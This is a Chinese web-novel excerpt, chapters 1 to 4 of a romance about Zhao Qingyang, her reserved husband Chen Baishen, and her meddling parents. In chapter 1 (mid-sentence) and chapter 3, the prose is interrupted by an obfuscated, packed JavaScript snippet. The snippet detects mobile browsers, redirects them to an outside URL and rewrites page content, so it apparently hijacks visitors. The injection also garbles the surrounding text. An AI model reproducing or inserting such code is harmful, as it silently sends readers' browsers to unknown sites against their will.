《老实人夫想恋爱》 1. 第 1 章 入夏后,气温节节攀高,空调吹出的风却不如往常清凉,赵清扬踩上椅子去拆空调外盖,打算把滤网取下来洗一洗。 意料之中,滤网上积了一层经年日久的灰。赵清扬不知道家里有没有手套,便空手各捏一张滤网,走进卫生间打开水龙头,预备简单把积灰都冲掉就完事。 卫生间里没有摆放专门的滤网洗涤剂,赵清扬一时找不到其他用于清洁的毛刷,摸索一阵后,见水龙头的水已经把大片灰尘冲刷掉,便撸起袖子直接上手去擦边角的尘垢。 本想简单了事,但徒手总比不过专业的工具,赵清扬偏又不信邪,越挫越勇,不知不觉就和两张滤网胶着了半天。 “咔哒。” 听到书房门从里打开,赵清扬心里一跳,正纠结是就此罢手还是关上门继续独自战斗,陈柏深就近了身。 “我来吧。” 赵清扬想推脱,陈柏深却已经从洗手台旁某个被她忽略的暗格里翻出了洗涤剂和细毛刷。 只好退位。 陈柏深什么也不问,有条不紊开始洗。赵清扬擦干了手,站在原地自己解释,“空调吹不出冷风,我想看看是不是滤网的问题。” 陈柏深头也不抬,“你去休息吧,我洗干净了帮你装回去。” 赵清扬本想待在陈柏深身边搭把手,听他这么一说,便识趣走出卫生间不再碍事。顾及陈柏深一会儿还要进卧室给她装滤网,赵清扬进房间后特地没有关上卧室门,接着从抽屉里掏出一个手握小风扇先应付一阵。 小风扇风力不大,是她前两天在超市用购物积分换来的奖品,当时只看上它外观可爱,没考虑实用性,带回来后就随手收起来了,谁知这么快就派上了用场。 赵清扬把档位调到最高,扇叶便更加卖力地转动,发出更大的嗡鸣声。 “客厅也有空调。”陈柏深的声音突然传来。 赵清扬探个脑袋出去看他,“不用。我不是很热。” 说完,赵清扬把风扇关掉,源头上掐断噪音。房子恢复原来的安静,只能听到洗手池里的流水。 陈柏深在提议被拒绝后也不再强求,安安静静继续手上的收尾工作。赵清扬从房间里看过去,刚好能看见他的背影和镜子里映出的脸。 陈柏深的长相挺周正,眉深目阔,鼻挺唇薄,乍一看觉得标致,细看更让人挪不开眼。长得也高,身姿挺拔,却全然没有侵略性,反而太正经,因此显得古板。说话也是,语气生硬,惜字如金,谈不上温柔,更多是客气和疏离。 一言以蔽之,陈柏深大概是天底下父母都会满意的那类结婚对象。长得正气,人也踏实,话不多,但懂得照顾人,工作体面稳定,圈子干净,美中不足就是太无趣。 但对于结婚,赵清扬倒是没考虑太多,看陈柏深长得顺眼,也爱干净,几次相亲接触下来发现他情绪稳定靠得住,也没有不良嗜好,尽管性格无聊,但其他方面几乎挑不出大错,于是半推半就之下,便跟他成了夫妻,一起搭伙过日子。 除了和陈柏深有点不熟,赵清扬目前的婚后生活跟以前的单身合租生活没区别。 如果说有什么好处,最大的好处便是从家里搬出来后,爸妈的念叨少了很多,家庭矛盾得到了极大的调和。 但坏处也是有的,就比如现在。 赵清扬有轻微洁癖,介意外人踩自己的椅子,于是抢在陈柏深之前从他手里接过洗干净的滤网,“我来吧。” 陈柏深怕她摔,站在一旁扶她。赵清扬上衣短,双手往上抬,衣摆下便露出一截腰身,陈柏深及时收手没碰到。赵清扬余光瞥见他不着痕迹的回缩,心思一动,“扶一下我。” 陈柏深不答话,双手虎口隔着衣物轻卡在她腰际。 掌心的温度透过衣服面料直抵肌肤,赵清扬压了压稍乱的呼吸,面不改色将滤网卡进凹槽,合上外盖。不等她转身,陈柏深已经松了手,给她递了纸巾,任她自己下来。 赵清扬犹豫一秒,擦干净双手,双手按住他的肩膀,特地选在他面前落地,“谢谢。” 言语客气,距离却暧昧,四目相对,陈柏深先移开了眼,“开机试试看。” 赵清扬扒住他肩膀没撒手,“遥控器在你手边。” 陈柏深也不挣开她,侧身去拿遥控器,“如果还是没有冷风,你今晚去我房间睡,我明天请师傅来修。” “那你呢?” “我睡沙发。” 赵清扬咽咽口水,向前一步,双手划过宽肩,交叉搂住他脖子,“爸妈问我们什么时候要孩子。” 陈柏深偏头错过她生涩的靠近,“你之前说不想生。” 赵清扬脸色变了变,“我改主意了。谁结婚不生孩子。” 陈柏深沉默半晌,不打算妥协,“现在还早。” “他们在催我。” “我去跟他们说。”陈柏深推她。 赵清扬看他的目光意味不明,“你怎么说?” “你还没准备好。” 加速的心跳慢慢放缓,赵清扬皱眉反问:“都是我的问题?” 陈柏深抬手捏住她小臂,想将她双手拿下,见她不肯,便只好作罢,“我也没准备好。清扬,要孩子不是一件随便的事。” “这对他们来说不是理由。”赵清扬不为所动,“他们今年退休,就想天天抱孩子,生了丢给他们养就行。” “那你呢?你的想法是什么?” “我无所谓。” 没有任何犹豫,陈柏深摇摇头,“你这样做对自己、对孩子、对我,都不负责任。” 这句批评一针见血,赵清扬静静看他一眼,看不出他眼里有丝毫退让,终于撒手,“算了,你走吧。” 言尽于此,陈柏深却不马上走,插上电源确认空调恢复了制冷,这才离开房间,“你早点睡。” 空调继续正常工作,盖上被子后,温度不冷不热刚刚好,赵清扬被陈柏深简简单单的一句不负责任搅得半夜失眠,翻来覆去睡不着。 她知道自己这么做是不负责任——这也不是她第一次做出不负责任的事,但她无法接受这句话从别人口中说出来。更何况现在陈柏深对她来说并不是不需要去在乎的别人。 本盼着能日久生情,却总被他一两句说教噎得兴致全无,再暧昧的气氛,也在他下意识的抗拒下荡然无存。 朝夕相处一周多,赵清扬便领悟到了脸不能当饭吃的道理。看得见却摸不着,没意思。调戏两句心里就被扎刀子,受不了。 赵清扬翻出手机,赌气给另一个房间的陈柏深发消息:明天早上不用准备我的早餐。 接着也不管陈柏深回没回复,直接关掉手机睡觉。 夜里空调悄无声息又罢了工,赵清扬睡到半夜被热醒,梦醒后发现双手抱住的不是赤裸的陈柏深而是厚重的被子,浑身黏腻也是被子捂出来的热汗,心里莫名落了空。 将不切实际的露骨幻想归于排卵期时的激素作怪后,赵清扬简单擦了擦身体,换上另一身干爽的睡衣,抱了被子去客厅睡沙发。经过主卧时,赵清扬留神听了听里面的动静。陈柏深睡得正熟,一点动静也没有。 但想要同床共枕的念头刚冒出来就被墙上挂钟显示的时间压了回去。 凌晨四点二十分。 这个时间实在不适合折腾。 赵清扬不再犹豫,动作麻利关上所有门窗打开客厅空调,抓紧时间躺上沙发盖好被子,抓住困意再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手指下意识上滑,拉出解锁画面,盯着输入密码的界面,赵清扬突然萌生了查手机的想法。事情比想象中顺利,她随手打出陈柏深的生日,页面就十分顺利解了锁。 点进常用的社交软件,第一眼就看到她的聊天框和几个工作群被一起置顶。昨晚她发出不用准备她早餐的消息,回复是一个极其简单的“好”,连一句为什么也不多问。 联系人里大多是工作上的领导同事,部门职位名字码得整整齐齐,同学和家人也标明了身份标签,做好各自归类。 赵清扬揣着一点好奇,点进自己的个人页面。 标签处空空如也。 她处在所有分类之外。 一不做二不休,赵清扬继续点进朋友圈。陈柏深不怎么发朋友圈,为数不多的几条都是加班和朋友聚会,配的文案也充满了真诚质朴的气息。 “很重要的朋友。” 图片是餐厅里四个人的合照,清一水的格子衬衫和黑框眼镜,点赞不少,再结合日期,应该是大学刚毕业不久时候拍的。 “生日快乐。” 没头没尾的一句话,仅自己可见,但日期却不是他身份证上的生日。 这么隐晦……赵清扬猜想是陈柏深曾经暗恋的女孩的生日。 继续往下翻,很快翻到第一条朋友圈。 陈柏深发的第一条朋友圈是一张班级大合照。 “毕业快乐。祝前程似锦。” 熟悉的高中校服,熟悉的学校名称,赵清扬没想到她和陈柏深还是高中校友。 出于好奇心放大照片去找高中时期的陈柏深,却在看到某张脸之后忽然愣住。 合照里有她。 2. 第 2 章 查手机花了差不多十分钟,赵清扬放好手机平复情绪,取出体温计看温度,三十八度二,有点低烧。想下床洗漱,看遍四周却找不到拖鞋,张嘴想喊陈柏深,一时之间又开始犹豫是连名带姓地喊还是只喊后面两个字。 前者疏离,后者亲密,一字之隔,却完全是不同的亲密程度。 平时他们多通过手机交流,非必要不闲聊,但现在她的手机不在身边,陈柏深也没把手机带走。两人虽然同住一屋,唯一的联络却被完全切断。 赵清扬嘴巴张了又合,终究什么也没喊,也没下床,一直等到十分钟后陈柏深再次进房间看她情况。 “我的鞋子呢?”赵清扬问。 陈柏深出去给她提了拖鞋进来。 “家里有感冒药吗?”赵清扬低头穿鞋,问。 “有。”陈柏深说,“先吃饭再吃药。我煮了粥,你先吃——” “有药就行,”赵清扬头重脚轻越过他,回自己房间拿了发圈把头发绑起来,“不用管我,我能照顾好自己,你去上班吧。一会儿我吃了药也要去上班了。” “我请了假。”陈柏深说。 赵清扬只当他有别的事情要忙,“你忙自己的事吧。” 陈柏深没再接话。 气氛安静得突兀,赵清扬以为自己查手机被发现,回头想看他一眼,抬了头却发现自己心虚不敢跟他对视,只好装作什么也没发现,一头扎进卫生间洗漱,“我没事,感冒而已。你先吃,不用等我。” 故意在卫生间花上比往常更久的时间洗漱,赵清扬却一直没等到陈柏深出门的声音,时间不等人,她只能硬着头皮坐下,和他面对面吃早餐。 陈柏深早已经准备好她那一份,等她坐下来才开始吃。 “我今天会把你的床单被套洗干净。”赵清扬先开口,“谢谢你照顾我。” “没关系。” 赵清扬见他不介意,开始试探,“你今天怎么突然要请假?家里有事?” 陈柏深静了静,实话实说,“我想留在家里照顾你。” 平铺直叙的理由,说出来却添了几分难以言说的暧昧。赵清扬突然被热粥烫了舌头,嘶哈嘶哈倒吸冷气,口齿不清都要朝他说一句谢谢。 她从没觉得发烧是一件严重到需要请假的事,更没想到陈柏深会因为这点低烧请假照顾她。 好在陈柏深也没请成功,不然他们两个人待在家里,相处时间太多反而尴尬。 单位不让请假,陈柏深只好和师傅改约,傍晚下班再接人上门修空调。等傍晚回到家却发现赵清扬又躺在了他的床上,额头闷出一层薄汗。 抽了纸巾刚帮她擦干净汗,赵清扬就被隔壁维修师傅弄出的动静吵醒,支着身体坐起来,声音沙哑,“水。” 陈柏深递过去一杯温开水,赵清扬等不及,直接握住他的手给自己灌了大半杯。 “你离我这么近,小心被传染。”一杯水喝完,赵清扬撒手时顺带将他往外推。 陈柏深不怕她吓唬,“这不是流感。” “但你脸红了。” 陈柏深这次却不怀疑这句话的真假,“……太热了。” 赵清扬目睹了他说完后脸色由白转红的全过程,蠢蠢欲动想更进一步,隔壁的机器却不合时宜发出了嗡鸣声,提示家里还有外人。 “什么时候能修好?”赵清扬问。 “可能要二十分钟。”陈柏深起身要走,“我先去做饭,等师傅走了,我们就吃饭。” 赵清扬不着急吃饭,“今晚一起睡吧。” “今天能修好。”陈柏深说。 “修好了我也不回去睡。”赵清扬开始耍赖,“你的床躺得更舒服。” 陈柏深这时候却介意她的病情,“你还没好。” “这又不是流感。”赵清扬特地重复。 陈柏深把水杯放好,“等你感冒好了,我们先去医院做孕前检查,如果没问题,我们再考虑要孩子的事。” “我们不是都做了婚检吗?”赵清扬边吸鼻涕边问。当初的婚检也是陈柏深提出要做,她觉得不做白不做,也就配合他去做。意料之中,陈柏深的身体质量良好,各项指标都在正常范围内,她反倒牵连出一堆小毛病,被医生着重叮嘱要规律饮食作息、保持心情愉悦等等。 “这两个不一样。”陈柏深如此这般讲了两者检查项目的区别,继续说自己的安排,“如果孩子有缺陷,你的身体也会受影响。我们先备孕三个月,控制饮食,调整好身体状态,再……” 还没说完,陈柏深却安静下来不再开口,心里斟酌更妥当的词语去形容某种亲密行为。 赵清扬明白他的含蓄和欲言又止,但一通科普听下来,本就不多的生育意愿下去了大半,“算了,下次再生吧。” 陈柏深貌似对她随心所欲的出尔反尔早有预料,出去盯了一阵师傅,然后进厨房开始洗菜做饭。 赵清扬干躺着也无聊,下床接班去次卧盯师傅的进度,进了房间才发现她的桌椅和床都被一层塑料薄膜罩住,就连师傅双脚也套了鞋套。 师傅剃着小平头,笑得一脸憨厚,听见动静后笑呵呵朝她解释,“你放心,陈先生特地买了东西罩住,不会弄脏。” 能坐的地方都被罩了起来,赵清扬没地方坐,挨墙站着和师傅闲聊,“这空调是怎么回事?” “雪种少了,得加雪种。”师傅问,“你们这空调买多少年了?” “不知道。”赵清扬如实答。 师傅又笑,“您真会说笑,你是家里的女主人,怎么会不知道。” 赵清扬笑笑没说话。她跟陈柏深不熟,跟这个房子更不熟,只知道这房子是陈柏深从某个亲戚手里买下的二手学区房。亲戚家小孩要留学,一家人跟着出国定居,但又舍不得这间倾注了装修心血又承载了三年回忆的房子,于是就低价卖给了关系比较亲近的陈柏深。陈柏深接手后没有重新装修,只零星换了几件家具,因此一切看起来富有生活痕迹。 她和陈柏深刚认识的时候,她在换工作,刚好房租也到期,便搬回家里和爸妈一起住,没住两天受不了了,一时冲动就跟陈柏深提出要同居,陈柏深怕她嫌弃,一五一十跟她讲了这房子的由来,她觉得才住了两年的二手房无伤大雅,当天晚上就拎箱入住,把陈柏深吓得够呛,支支吾吾又不敢将她赶走,连夜给她收拾出次卧。 这房子虽然说是二手房,但被陈柏深打理得很好,赵清扬住着舒服,接连住了五六天。 爸妈见她好几天夜不归宿,再三逼问后知道她跟陈柏深一起住,觉得她这是主动送上门,电话里说她不自爱,以后嫁不出去,她本想等找到新房子就搬出去租房住,火气被挑起之后出于报复心理直接跟陈柏深领了证。 本以为照陈柏深按部就班的老实性子会拒绝她闪婚的要求,谁知这人虽然支支吾吾,却是三更半夜回一趟家把户口本带了出来。 就像热恋期的恋爱脑小情侣瞒着父母领证。 不知道的人还以为他们多么相爱,只有她知道这一切不过是两个即将奔三的人对世俗的妥协。 赵清扬不打算办婚礼,陈柏深也随和,于是两人花了不到半天时间就在各种琐碎事宜上明码标价达成了一致,再请半天假一起去民政局领证。 赵清扬不止一回觉得自己这辈子算是完了,在爸妈的坚持下学了不喜欢的专业,毕业后每天做着不喜欢的工作,领着不高不低的工资,现在裸辞开摄影工作室自己当老板喝西北风,还随便把自己托付给了一个没有感情基础的男人。 但每天起床看到陈柏深雷打不动准备好的丰富早餐又觉得这日子也不是不能过。 陈柏深像爸妈一样照顾她的饮食起居,却不会像爸妈那样指点她的行为,某种意义上她过得也算滋润。 可为了逃离原生家庭,从而把希望寄托在另一个人身上,何尝不是另一种悲哀。 赵清扬郁郁寡欢,离开房间去厨房找吃的。 陈柏深做饭技艺纯熟,三菜一汤已经做好,色香味俱全,赵清扬抓了筷子先往嘴里送一块油焖豆腐,咬了一半觉得烫嘴,手忙脚乱又把剩下那半块扔回盘子里。 扔回去之后觉得不妥,眼角小心翼翼观察着陈柏深的反应。 陈柏深看在眼里,脸上却波澜不惊,边解围裙边问她,“不好吃?” “太烫了。” “很饿?” 赵清扬点头,“我中午没吃饭。” 说完,赵清扬自觉挑起自己扔回去那半块豆腐,连同底下沾到的另一块,探身去找空碗分装。 “不用。”陈柏深按住她的手,“我不介意。” 赵清扬从善如流,“哦。” “中午怎么不吃饭?”陈柏深问。 “你不在家,没人做饭,我生病没胃口,也不想点外卖。” 陈柏深动作顿了顿,把菜端出去饭桌摆好,“我去送送师傅,你先吃。” 等到真要吃饭,赵清扬却是一点儿也吃不下去,扒拉两口就没再动筷。陈柏深很快看出不对劲,问她是不是身体不舒服。 赵清扬费劲眨了眨眼,咳嗽两声,“我没事。” 陈柏深眨眼间就起身绕了过来,手掌包住她后脑勺,将她脑袋往前推。 距离迅速拉近,在额头相贴时又戛然而止,专属于陈柏深身上 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期间陈柏深送了药进来,赵清扬避嫌似的缩手缩脚,拒绝和他发生任何肢体接触,陈柏深看在眼里,等她吃完药,不多说什么,端着水杯自觉离开,“早点休息,有事叫我。” “嗯。” 啪嗒。 陈柏深顺手把灯关上了。 周围陷入朦胧的黑暗,赵清扬昏昏欲睡,但吃了药后身子浮浮沉沉,闭上眼却总睡不熟,乱七八糟的记忆和不切实际的幻想争先恐后挤占大脑空间,有好有坏,真假难辨,仿佛在上演一出光怪陆离的戏剧,让她醒不来,也睡不着。 不知过了多久,赵清扬梦到陈柏深摸黑进了房间,轻手轻脚走到她床沿。 窗户没关紧,却不见月光铺洒进来,夜风吹得窗帘扑簌作响,孤男寡女,月黑风高,像极了电视剧里杀人狂魔行动的最佳时机。 从小到大见过听过的各种杀人案件一拥而上,赵清扬一颗心揪得要窒息,想睁眼,强迫自己从梦中醒来,却浑身动弹不得。 挣扎没有结果,赵清扬心如死灰,绷直身体迎接高悬头顶的达摩克利斯之剑,落下的却是一只温暖的手掌,厚重沉稳,拨开了她额前碎发,覆盖在皮肤上,静静感受她的温度。 接着,另一股她所熟悉的温热气息迫近。额头再次相抵,呼吸再次交错。 明明是十分暧昧的亲密动作,陈柏深却做得坦然,干净,不掺杂一丝杂念。 她能感受到来者没有恶意。 咫尺距离维持了不过两三秒,陈柏深松开了她。见她睡不安稳,顺手抚平了她紧皱的眉头。 估计是体温降到了正常范围,陈柏深很快离开了房间,走之前还帮她关紧了窗户以防着凉。 窗帘不再飘动,所有的一切尘埃落定,赵清扬被攥紧的心脏逐渐得到舒展,紧张感也随之消散,别种念头取而代之。 但房门再次被关上,声音很轻,断了她所有关于男女之事的旖旎心思。 困意席卷,荒诞戏剧落幕,一夜无梦。 一觉到天亮,神清气爽。 “昨天谢谢你照顾我。”赵清扬睡足了觉,难得早起,第一次赶上和陈柏深共进早餐,“如果是我爸妈,肯定第一时间怪我为什么没有好好盖被子。” 早知如此,她当时就该厚着脸皮理所应当钻进陈柏深被窝里。 但这句假设还没来得及说出来,陈柏深就作了回答,“不是你的错,空调太旧,我应该给你换新的。” 赵清扬觉得没必要大费周章,“修好了就行,不用换新。” “谢谢你对我这么好。”赵清扬又朝他说一句心里话。 陈柏深动作一停,抬眼看了她许久,又低下头去喝粥,“应该的。” “下次你生病,我也会照顾你的。”赵清扬十分仗义,“放心吧。” 说完觉得诚意不够,赵清扬又提议,“找时间我请你吃饭。” 貌似太客气了。 赵清扬在心里又一次提醒自己,他们现在是夫妻关系,生病了互相照顾是很正常的事。 “下次一起出去吃饭吧。”赵清扬换了个比较合适的措辞。 然而陈柏深的反应总是出乎她意料。 他问她要身份证号码。 赵清扬警惕心顿起,“你要干什么?” “给你办一张家属卡。”陈柏深把自己手机递过来,“我请示过领导了,你填好这个表格,我交上去审核,审核通过后你的信息会录入系统,中午你可以刷卡进我们单位食堂吃饭。” 3. 第 3 章 赵清扬看着手上的申请表,一头雾水。 食堂? “我中午赶不回来,不能给你做饭,你如果没胃口,可以来找我一起吃饭。”陈柏深说,“如果我加班不在,你也可以来,所有花费都会在我的餐饮补贴里面扣。” 赵清扬抬头,刚好和陈柏深回转的目光打了个照面。四目相对,赵清扬后知后觉,陈柏深这是以为她没了他就吃不下饭? 可就算他长得再下饭,谁喜欢在食堂约会?虽然吃饭有餐补,两人都不用花钱,赵清扬却没觉得陈柏深有多大方。 赵清扬心里默默记上一笔。自恋,抠门。但明面上为了不扫他的兴,仍一丝不苟填好表格。 陈柏深看着她在关系那一栏敲下妻子两个字,不由自主屏息,再回过神来时,赵清扬已经把手机放回他的手里,笑嘻嘻答应说下次一定去食堂找他吃饭。 陈柏深当了真,伴着心跳鼓点继续打算,“家属身份认证通过之后,我会申请把宿舍换成双人间,吃完饭我们可以一起在宿舍午休。” - 一直等到层层叠叠的手续都办好,陈柏深也没等到赵清扬来单位找他。 “陈工,你的家属证做好了。”例行会议刚散,人事部的同事小刘顺道送来了赵清扬的通行证,走时还不忘调侃他一句,“我没吃到喜糖就给嫂子干了活,下次你可得请我吃饭啊。” 小刘说完就走,没剩几个人的会议室瞬间炸了锅。 “嫂子?” “柏深结婚了?” “什么时候结的婚?” “主任前两天还想操心老大的人生大事,这下失望咯。” 新来的小年轻说话容易失分寸,刚热闹起来的八卦气氛瞬间因为这一句阴阳怪气冷了下来,陈柏深不在乎升职,静静说了句“没关系”就当圆场。 熟悉他的前辈知道他是真的不在乎这些人情得失,开口转移话题,“弟媳是哪里人?” 陈柏深说:“我和她是高中同学。” “谈多久了?在哪个单位?以前没听你说起过。” “小陈不是张扬的人,你第一天知道?”又一位老前辈插嘴,捏着资料路过陈柏深,顺手拍了拍他的肩膀,“小陈永远都是先做再说,等事情都落实了才开口。” 等老前辈离开,新来的小张再也忍不住,借一起去交材料的由头拉着陈柏深和其他人拉开一段距离,“老大,你真结婚了?” “嗯。” “唉,有时候我真不知道说你什么好。”小张来了劲,恨不得拖陈柏深进旁边的小会议室进行一番深刻的思想教育,“主任肯定你的能力,给你介绍对象,你当时不说自己有女朋友,现在又突然结婚,主任知道了怎么想?” “我也没想到会这么快结婚。”陈柏深轻轻摩挲着口袋里家属通行证的坚硬边角,满脑子都是那晚带了生日蛋糕上门给他过二十八岁生日的赵清扬,“做梦一样。” 那天在手机上和赵清扬说过房子的情况后,他又打扫了一遍卫生,准备下楼去接她,谁知一开门就看到拖着大包小包行李的赵清扬。她没给他发消息,同样没想到他会突然开门,对视两秒后竟是干净利落一把撇开行李箱,举起手里的蛋糕笑着大声祝他生日快乐。 她的声音干净爽朗,刚好楼道里的灯光到点尽数亮起。 她像从光里走出来的精灵。 如果不是她,他都忘了那天是他的生日。 偏偏也是因为她,他忘记爸妈也会上门来加菜庆祝他的生日。 现在回想起来,那一整天都过得像梦一样,美好得失了重,完全踩不到实地。 情急之下,反而是赵清扬先反应过来,自己推着行李箱躲进了次卧反锁,还叮嘱他千万不要声张。 爸妈难得来一趟总要和他聊上一会儿,大到结婚生子小到炒菜要怎么放盐调味,事无巨细都要提一句,等二老离开已经是晚上九点。 当然也问到他中午相亲的感受,他回答说对赵清扬很喜欢,但表明心意时刻意压低了声音,赵清扬隔着一扇门应该不会听见。 可没过几天赵清扬就提出要结婚。他以为自己的心意暴露,却也没有勇气再三向她确认,连夜回家和爸妈说打算结婚,红着脸把自己的少年心事全都交代出来才将户口本拿到手。 小张看陈柏深心不在焉,好像一点儿也瞧不上这点尚未定下的职位升迁,于是猜测越来越大胆,甚至往更高的领导层去猜。 “不是。你们不认识她的。”陈柏深无奈。 “难道嫂子不是我们单位的人?”小张一下没转过来。 “不是。” “她在哪个单位上班?” “她自己开工作室,和我们的工作性质不一样。” 小张这下才想起来陈柏深刚才说过的同学关系,语气笃定,“老大你一定很喜欢嫂子。” “是喜欢很久了。”陈柏深不多隐瞒,坦诚道,“但以前的喜欢没有用,现在终于有了机会,可以对她好一点。” - 赵清扬自从把家属证放进包里就没再拿出来过。 她想找时间向陈柏深表达感谢,但一想到他倾向于在单位食堂约会,约饭计划就一推再推,好在陈柏深也不催,把卡交给她之后日子该怎么过还是怎么过。 陈柏深等了好几天没等到赵清扬要来单位的消息,失落之余转念一想,她只在生病时胃口不好,他办家属证治标不治本,想要从根源上解决问题,最稳妥的办法还是换新的空调。 这所房子不算老,但次卧的家具他不常打理,空调老旧难以避免,他早应该想到,不然她也不会发烧。 命运将她推到他面前,圆满他青春的遗憾,他不奢求自己能让她喜欢,但至少应该照顾好她的身体。 挑好款式,问过赵清扬意见,陈柏深当天就给次卧换了新空调。等赵清扬回家,发现房间装了新空调,开心却是其次。 她打算借空调失修的理由找陈柏深蹭一晚的床,刚好明天周六,一晚上的干柴烈火之后不用上班还能赖床,哪里想到他办事效率太高,下午刚选好的新空调,等她晚上和朋友聚餐回来就进了她的房间。 算盘又一次落空,赵清扬这下对陈柏深的身体是彻底没了非分之想。 她本不是习惯规划的人,难得心血来潮耐住性子想循序渐进干点什么事,陈柏深却总能先一步精准推翻她本就不多的计划。 平常聊不到一块,估计床上也睡不到一起。赵清扬安慰自己,睡不到人,但换了新空调,算下来也不亏。 可她从房间里出来的同时,一旁的卫生间门从里打开,走出来的人竟是王素梅。 “你怎么这么晚才回来?”王素梅看到她就皱了眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419262|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“柏深下了班一个人在家里忙活,你也不帮帮忙。” “你们怎么来了?”赵清扬下意识瞄一眼房门大敞的主卧,果然,赵国忠正背着手在打量陈柏深房间里的摆设。 赵清扬不满的心思全写在脸上。 她并不欢迎爸妈的不请自来。 王素梅看在眼里,但没有回答,径直进了次卧,“你看你,衣服也不收拾,全搭在椅背,这么大一个衣柜不够你放的?万一家里来客人,看到你这么邋遢……” “我不会让客人进我房间。”赵清扬冷冷打断,“也就只有你会把自己家当动物园,一来客人就带着到处参观。” 她在家会锁门,但跟陈柏深住在一起之后觉得麻烦,不知不觉就改掉了这个习惯,但她怎么也想不到有一天会让王素梅钻了空子。 “外人看不到你就能到处乱扔衣服了?你能不能对自己有点要求?”王素梅又看到一处不顺眼,走到窗边一把拉开窗帘,“还有你这窗帘,整天关着多黑,这种环境太压抑,把你的心理都变阴暗了。你应该阳光一点。” 浮尘在突如其来的光线下不停跳动,赵清扬觉得脏,抬手捂了鼻子后退好几步。 “平时也没见你多爱干净,这点灰尘就受不了……行了行了,我在这给你收拾房间,你去厨房给柏深搭把手。”王素梅卷起袖子就开始干活,“都是已经结婚的人了,还不懂事……” 赵清扬什么也没说,无声退了出去。 陈柏深做好了菜正在饭桌上摆盘,碗筷和水杯一共四份码得整整齐齐。赵清扬走过去单手拖出一张椅子坐下,忽略椅子腿划过地砖的刺耳声音,压着火气问他,“我爸妈怎么来了?” “我打电话想跟叔叔阿姨解释生孩子的事。”陈柏深察觉到她脸上的不悦,语速逐渐放缓,“我还没见过你的爸妈,刚好阿姨也想来看看你,我就……” “为什么事先不告诉我?” “阿姨说,她跟你说过了。”陈柏深终于也意识到不对劲。 赵清扬:“……” 王素梅压根什么都没跟她说。 “我在外面吃过了。”赵清扬面无表情站起来,“你们自己吃吧。” “你这孩子。”赵国忠打量完主卧走出来,听到她这一句,也来了脾气,“柏深做了这么一大桌子菜,你说不吃就不吃,我跟你妈第一次来家里,你就这么招待?你妈连饭都顾不上吃还得帮你打扫房间,你——” “谁叫你们来谁招待。”赵清扬对陈柏深也不留情面,“她非要给自己找活干,爱吃不吃。” “长这么大了还是不懂事。”赵国忠气得直喘粗气,但顾及到一旁的陈柏深,还是收敛住了脾气,压低声音咕哝,“当你爸妈真是丢脸。” “谁不是?”赵清扬不甘示弱呛回去,“说的好像谁上赶着想给你们当女儿,一见外人就变本加厉嫌弃我。” 外人。 这个词一出,针锋相对的两个人不约而同安静下来,试图不着痕迹用眼角余光去试探某个人的表情。赵清扬意识到说错话,心虚扫过陈柏深的脸,不敢作任何停留,因此什么也没捕捉到。 王素梅收拾干净从次卧走出来,见三人在饭桌外围成一圈,擦着汗招呼,“怎么不坐?坐呀,都站着干什么。” 陈柏深先有所动作,为赵清扬拉开旁边椅子,“先吃饭吧。” 4. 第 4 章 自从知道爸妈是为了孩子的事而来,赵清扬就已经预见到这一顿饭不可能平静吃完,但为了不驳陈柏深面子,还是不情不愿在他旁边坐下。 王素梅不知道饭前的插曲,一开口就是火上浇油的催生,理由是不生孩子赵清扬永远不明白当父母有多不容易,没说几句又断定她这样不成熟的人也带不好孩子,赵清扬忍气吞声听了几句,不出十分钟又跟他们掐起架来。 陈柏深看三人吵得凶,一句“叔叔阿姨也是为了我们好”刚出口,就被赵清扬冷冰冰噎了回来,“你用不着非要当好人。” 陈柏深还在发愣,赵清扬一对二,一点也不落下风,赵国忠和王素梅虽然顾忌陈柏深在场,说话收敛了不少,但也没让赵清扬占到多少便宜。 双方都不愿意退步,剑拔弩张的最后自然是不欢而散。 陈柏深没想到的是,虽然三人生气归生气,却是将饭菜都吃完才离开座位。二老起身要回家,陈柏深赶忙站起来送客,拿上早已经备好的烟酒和补品让他们带回去。 赵清扬佩服他的好脾气。 来回推脱两句,王素梅见陈柏深办事周到,眉目舒展,鼓励他改口,“还叫叔叔阿姨啊?” 赵清扬懒得再看三人的客套推拉,转身回房间,没走两步却又听到赵国忠拿她跟刚改口喊了爸妈的陈柏深做比较,“清扬在人情世故这方面有欠缺,单是这点,她要多向你学习。” 赵清扬:“……” 结婚了都还要拿她和另一半比。 火气未消推开房间的门,又发现次卧大变样。随手堆放的衣服是收纳整齐了,但连床也变了朝向,书桌从床边挪到窗前,衣柜分区也处处可见王素梅的影子。 处处都在阳光映照下。物理意义上让她变阳光。 再去看垃圾桶,她随手放在包里用来充饥的饼干和巧克力等所谓的垃圾食品正静静躺在里面。 王素梅的天生神力和她的执拗想法一样令人费解,赵清扬冲出去要找她理论,陈柏深却已经把俩人都送出了门。 赵清扬折返试图去推床,纹丝不动。去搬书桌,又不小心磕到膝盖,疼得龇牙咧嘴。忙活一阵一事无成反而忙出一身汗,想开空调,遥控器又不知道被藏在了哪里。 所有的小事都失去了掌控。 赵清扬操了一声,一气之下脱掉碍事的衬衫,去翻衣柜却找不到平常穿的宽松短袖。王素梅偏爱的鲜艳款式重见天日,赵清扬心里憋着一口气,宁愿只穿吊带也不愿意让那些衣服上身。 翻翻找找后的衣柜乱成一座山,赵清扬心里骂了王素梅百八十回,环顾一圈觉得这个陌生房间也算是易了主,自己一时半会什么也改变不了,索性收拾行李去酒店冷静一晚。 她搬出来就是不希望爸妈插手她的生活。她明明只是想要一个属于自己的房间。 陈柏深却打开家门把爸妈迎进来。 果然靠人不如靠己。 